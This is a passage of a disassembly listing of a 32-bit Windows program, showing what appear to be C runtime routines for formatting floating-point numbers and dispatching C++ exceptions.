test ebx, ebx
jle short loc_42230A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43D088
mov eax, edi
pop edi
mov [eax], cl
loc_42230A: ; CODE XREF: sub_422279+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4DBE5C, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C890
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_422331
mov byte ptr [ecx], 45h
loc_422331: ; CODE XREF: sub_422279+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_422376
mov ebx, [esi+4]
dec ebx
jns short loc_422345
neg ebx
mov byte ptr [ecx], 2Dh
loc_422345: ; CODE XREF: sub_422279+C5j
inc ecx
cmp ebx, 64h
jl short loc_42235C
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_42235C: ; CODE XREF: sub_422279+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_422373
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_422373: ; CODE XREF: sub_422279+E7j
add [ecx+1], bl
loc_422376: ; CODE XREF: sub_422279+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_422279 endp
; =============== S U B R O U T I N E =======================================
sub_42237D proc near ; CODE XREF: sub_42251D+13p
; sub_422540+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4DBE5C, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_4223B8
mov eax, dword_4DBE60
mov ebx, [esp+10h+arg_8]
mov esi, dword_4DBE58
cmp eax, ebx
jnz short loc_4223E8
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_4223E8
; ---------------------------------------------------------------------------
loc_4223B8: ; CODE XREF: sub_42237D+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424DF9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424D82
add esp, 14h
loc_4223E8: ; CODE XREF: sub_42237D+22j
; sub_42237D+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_4223F6
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_4223F6: ; CODE XREF: sub_42237D+70j
mov eax, [esi+4]
test eax, eax
jg short loc_42240D
push 1
push edi
call sub_422591
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_42240F
; ---------------------------------------------------------------------------
loc_42240D: ; CODE XREF: sub_42237D+7Ej
add edi, eax
loc_42240F: ; CODE XREF: sub_42237D+8Ej
test ebx, ebx
jle short loc_422454
push 1
push edi
call sub_422591
mov al, byte_43D088
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_422454
cmp byte_4DBE5C, 0
jz short loc_422439
neg esi
jmp short loc_42243F
; ---------------------------------------------------------------------------
loc_422439: ; CODE XREF: sub_42237D+B6j
neg esi
cmp ebx, esi
jl short loc_422441
loc_42243F: ; CODE XREF: sub_42237D+BAj
mov ebx, esi
loc_422441: ; CODE XREF: sub_42237D+C0j
push ebx
push edi
call sub_422591
push ebx
push 30h
push edi
call sub_41BF70
add esp, 14h
loc_422454: ; CODE XREF: sub_42237D+94j
; sub_42237D+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_42237D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42245B proc near ; CODE XREF: sub_422540+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424DF9
mov dword_4DBE58, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4DBE60, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424D82
mov eax, dword_4DBE58
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4DBE60, ecx
setl cl
mov byte_4DBE64, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4DBE60, eax
jl short loc_4224E1
cmp eax, ebx
jge short loc_4224E1
test cl, cl
jz short loc_4224D2
loc_4224C8: ; CODE XREF: sub_42245B+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4224C8
and [esi-2], al
loc_4224D2: ; CODE XREF: sub_42245B+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_42251D
add esp, 0Ch
jmp short loc_4224F1
; ---------------------------------------------------------------------------
loc_4224E1: ; CODE XREF: sub_42245B+63j
; sub_42245B+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_4224F6
add esp, 10h
loc_4224F1: ; CODE XREF: sub_42245B+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42245B endp
; =============== S U B R O U T I N E =======================================
sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4DBE5C, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_422279
and byte_4DBE5C, 0
add esp, 10h
retn
sub_4224F6 endp
; =============== S U B R O U T I N E =======================================
sub_42251D proc near ; CODE XREF: sub_42245B+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4DBE5C, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_42237D
and byte_4DBE5C, 0
add esp, 0Ch
retn
sub_42251D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp
; DATA XREF: sub_41D13Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42257B
cmp [ebp+arg_8], 45h
jz short loc_42257B
cmp [ebp+arg_8], 66h
jnz short loc_422568
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42237D
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422568: ; CODE XREF: sub_422540+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42245B
jmp short loc_42258C
; ---------------------------------------------------------------------------
loc_42257B: ; CODE XREF: sub_422540+7j
; sub_422540+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422279
loc_42258C: ; CODE XREF: sub_422540+39j
add esp, 10h
pop ebp
retn
sub_422540 endp
; =============== S U B R O U T I N E =======================================
sub_422591 proc near ; CODE XREF: sub_422279+2Cp
; sub_42237D+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4225B4
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B9C0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D670
add esp, 10h
pop esi
loc_4225B4: ; CODE XREF: sub_422591+7j
pop edi
retn
sub_422591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B6 proc near ; CODE XREF: .packed:0041D31Cp
; sub_41D385+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4225CC
call sub_422E52
loc_4225CC: ; CODE XREF: sub_4225B6+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_4225F4
cmp dword ptr [esi+4], 0
jz short loc_42264A
cmp [ebp+arg_14], 0
jnz short loc_42264A
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4228FD
add esp, 10h
jmp short loc_42264A
; ---------------------------------------------------------------------------
loc_4225F4: ; CODE XREF: sub_4225B6+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_42264A
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42262E
cmp [eax+14h], edi
jbe short loc_42262E
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_42262E
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_42264D
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_4225B6+4Aj
; sub_4225B6+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_422651
add esp, 20h
loc_42264A: ; CODE XREF: sub_4225B6+23j
; sub_4225B6+29j ...
push 1
pop eax
loc_42264D: ; CODE XREF: sub_4225B6+76j
pop edi
pop esi
pop ebp
retn
sub_4225B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_422671
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_422676
loc_422671: ; CODE XREF: sub_422651+16j
call sub_422E52
loc_422676: ; CODE XREF: sub_422651+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
mov esi, dword_4DBE68
test esi, esi
jz loc_4227C8
mov eax, dword_4DBE6C
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424F80
pop ecx
test eax, eax
pop ecx
jnz short loc_4226CC
call sub_422E52
loc_4226CC: ; CODE XREF: sub_422651+74j
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz short loc_4226EA
cmp [esi+14h], edi
jnz short loc_4226EA
cmp dword ptr [esi+1Ch], 0
jnz short loc_4226EA
call sub_422E52
loc_4226EA: ; CODE XREF: sub_422651+41j
; sub_422651+46j ...
cmp [esi], ebx
jnz loc_4227CD
cmp dword ptr [esi+10h], 3
jnz loc_4227CD
cmp [esi+14h], edi
jnz loc_4227CD
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov ebx, eax
loc_422721: ; CODE XREF: sub_422651+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4227B8
cmp [ebx], edi
jg short loc_4227AD
cmp edi, [ebx+4]
jg short loc_4227AD
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4227AA
loc_422746: ; CODE XREF: sub_422651+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_422777
loc_422758: ; CODE XREF: sub_422651+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4228A0
add esp, 0Ch
test eax, eax
jnz short loc_422786
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_422758
loc_422777: ; CODE XREF: sub_422651+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_422746
jmp short loc_4227AA
; ---------------------------------------------------------------------------
loc_422786: ; CODE XREF: sub_422651+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4229B1
add esp, 2Ch
loc_4227AA: ; CODE XREF: sub_422651+F3j
; sub_422651+133j
mov edi, [ebp+var_10]
loc_4227AD: ; CODE XREF: sub_422651+DEj
; sub_422651+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_422721
; ---------------------------------------------------------------------------
loc_4227B8: ; CODE XREF: sub_422651+D6j
cmp [ebp+arg_14], 0
jz short loc_4227C8
push 1
push esi
call sub_422D26
pop ecx
pop ecx
loc_4227C8: ; CODE XREF: sub_422651+56j
; sub_422651+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4227CD: ; CODE XREF: sub_422651+37j
; sub_422651+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_4227F3
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4227F8
add esp, 20h
jmp short loc_4227C8
; ---------------------------------------------------------------------------
loc_4227F3: ; CODE XREF: sub_422651+180j
jmp sub_422DFC
sub_422651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227F8 proc near ; CODE XREF: sub_422651+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DBE70, 0
push esi
push edi
jz short loc_422829
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D3AA
add esp, 1Ch
test eax, eax
jnz short loc_42289C
loc_422829: ; CODE XREF: sub_4227F8+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D4D3
add esp, 14h
mov esi, eax
loc_422845: ; CODE XREF: sub_4227F8+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_42289C
cmp edi, [esi]
jl short loc_422894
cmp edi, [esi+4]
jg short loc_422894
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_42286E
cmp byte ptr [ecx+8], 0
jnz short loc_422894
loc_42286E: ; CODE XREF: sub_4227F8+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4229B1
add esp, 2Ch
loc_422894: ; CODE XREF: sub_4227F8+57j
; sub_4227F8+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_422845
; ---------------------------------------------------------------------------
loc_42289C: ; CODE XREF: sub_4227F8+2Fj
; sub_4227F8+53j
pop edi
pop esi
leave
retn
sub_4227F8 endp
; =============== S U B R O U T I N E =======================================
sub_4228A0 proc near ; CODE XREF: sub_422651+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_4228F7
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_4228F7
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_4228D1
add ecx, 8
push ecx
push edx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4228F3
loc_4228D1: ; CODE XREF: sub_4228A0+1Fj
test byte ptr [esi], 2
jz short loc_4228DB
test byte ptr [edi], 8
jz short loc_4228F3
loc_4228DB: ; CODE XREF: sub_4228A0+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_4228EA
test byte ptr [edi], 1
jz short loc_4228F3
loc_4228EA: ; CODE XREF: sub_4228A0+43j
test al, 2
jz short loc_4228F7
test byte ptr [edi], 2
jnz short loc_4228F7
loc_4228F3: ; CODE XREF: sub_4228A0+2Fj
; sub_4228A0+39j ...
xor eax, eax
jmp short loc_4228FA
; ---------------------------------------------------------------------------
loc_4228F7: ; CODE XREF: sub_4228A0+Bj
; sub_4228A0+14j ...
push 1
pop eax
loc_4228FA: ; CODE XREF: sub_4228A0+55j
pop edi
pop esi
retn
sub_4228A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4228FD proc near ; CODE XREF: sub_4225B6+34p
; sub_4229B1+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278A8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42292F: ; CODE XREF: sub_4228FD+8Aj
cmp esi, [ebp+arg_C]
jz short loc_422989
cmp esi, 0FFFFFFFFh
jle short loc_42293E
cmp esi, [edi+4]
jl short loc_422943
loc_42293E: ; CODE XREF: sub_4228FD+3Aj
call sub_422E52
loc_422943: ; CODE XREF: sub_4228FD+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_42295E
push 103h
push ebx
push eax
call sub_422DB0
loc_42295E: ; CODE XREF: sub_4228FD+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42297E
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_42299B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_42297E: ; CODE XREF: sub_4228FD+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42292F
; ---------------------------------------------------------------------------
loc_422989: ; CODE XREF: sub_4228FD+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4228FD endp
; =============== S U B R O U T I N E =======================================
sub_42299B proc near ; CODE XREF: sub_4228FD+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_4229AC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4229AC: ; CODE XREF: sub_42299B+Cj
jmp sub_422DFC
sub_42299B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229B1 proc near ; CODE XREF: sub_422651+151p
; sub_4227F8+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_4229D3
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_422B62
add esp, 10h
loc_4229D3: ; CODE XREF: sub_4229B1+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_4229DF
push edi
jmp short loc_4229E2
; ---------------------------------------------------------------------------
loc_4229DF: ; CODE XREF: sub_4229B1+29j
push [ebp+arg_24]
loc_4229E2: ; CODE XREF: sub_4229B1+2Cj
call sub_41D2AC
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_4228FD
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_422A2C
add esp, 2Ch
test eax, eax
jz short loc_422A27
push edi
push eax
call sub_41D26A
loc_422A27: ; CODE XREF: sub_4229B1+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4229B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422A2C proc near ; CODE XREF: sub_4229B1+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278B8
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DBE68
mov [ebp+var_1C], ecx
mov ecx, dword_4DBE6C
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DBE68, edi
mov ecx, [ebp+arg_8]
mov dword_4DBE6C, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41D331
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422AF2
mov eax, [ebp+var_2C]
loc_422AB9: ; CODE XREF: sub_422AD2+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422A2C endp
; =============== S U B R O U T I N E =======================================
sub_422AC8 proc near ; DATA XREF: .packed:004278C8o
push dword ptr [ebp-14h]
call sub_422B38
pop ecx
retn
sub_422AC8 endp
; =============== S U B R O U T I N E =======================================
sub_422AD2 proc near ; DATA XREF: .packed:004278CCo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41D592
pop ecx
pop ecx
xor eax, eax
jmp short loc_422AB9
sub_422AD2 endp
; ---------------------------------------------------------------------------
loc_422AEA: ; DATA XREF: .packed:004278C0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422AF2 proc near ; CODE XREF: sub_422A2C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DBE68, eax
mov eax, [ebp-20h]
mov dword_4DBE6C, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422B37
cmp dword ptr [edi+10h], 3
jnz short locret_422B37
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422B37
cmp [ebp-24h], ebx
jnz short locret_422B37
cmp [ebp-2Ch], ebx
jz short locret_422B37
call sub_41D5FA
push eax
push edi
call sub_422D26
pop ecx
pop ecx
locret_422B37: ; CODE XREF: sub_422AF2+1Cj
; sub_422AF2+22j ...
retn
sub_422AF2 endp
; =============== S U B R O U T I N E =======================================
sub_422B38 proc near ; CODE XREF: sub_422AC8+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_422B5F
cmp dword ptr [eax+10h], 3
jnz short loc_422B5F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_422B5F
cmp dword ptr [eax+1Ch], 0
jnz short loc_422B5F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422B5F: ; CODE XREF: sub_422B38+Cj
; sub_422B38+12j ...
xor eax, eax
retn
sub_422B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422B62 proc near ; CODE XREF: sub_4229B1+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D0
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_422D0B
cmp byte ptr [eax+8], 0
jz loc_422D0B
mov eax, [ecx+8]
test eax, eax
jz loc_422D0B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_422BFF
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422BF0: ; CODE XREF: sub_422B62+F5j
push eax
call sub_422D8D
pop ecx
pop ecx
mov [edi], eax
jmp loc_422D07
; ---------------------------------------------------------------------------
loc_422BFF: ; CODE XREF: sub_422B62+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_422C59
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41D670
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422D07
mov eax, [edi]
test eax, eax
jz loc_422D07
add esi, 8
push esi
jmp short loc_422BF0
; ---------------------------------------------------------------------------
loc_422C59: ; CODE XREF: sub_422B62+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422CA1
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push edi
call sub_41D670
add esp, 0Ch
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CA1: ; CODE XREF: sub_422B62+103j
call sub_424F80
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push 1
push edi
call sub_424F9C
pop ecx
pop ecx
test eax, eax
jz short loc_422D02
push dword ptr [esi+18h]
call sub_424FB8
pop ecx
test eax, eax
jz short loc_422D02
test byte ptr [esi], 4
jz short loc_422CE8
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D2A5
jmp short loc_422D07
; ---------------------------------------------------------------------------
loc_422CE8: ; CODE XREF: sub_422B62+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_422D8D
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41D29E
jmp short loc_422D07
; ---------------------------------------------------------------------------
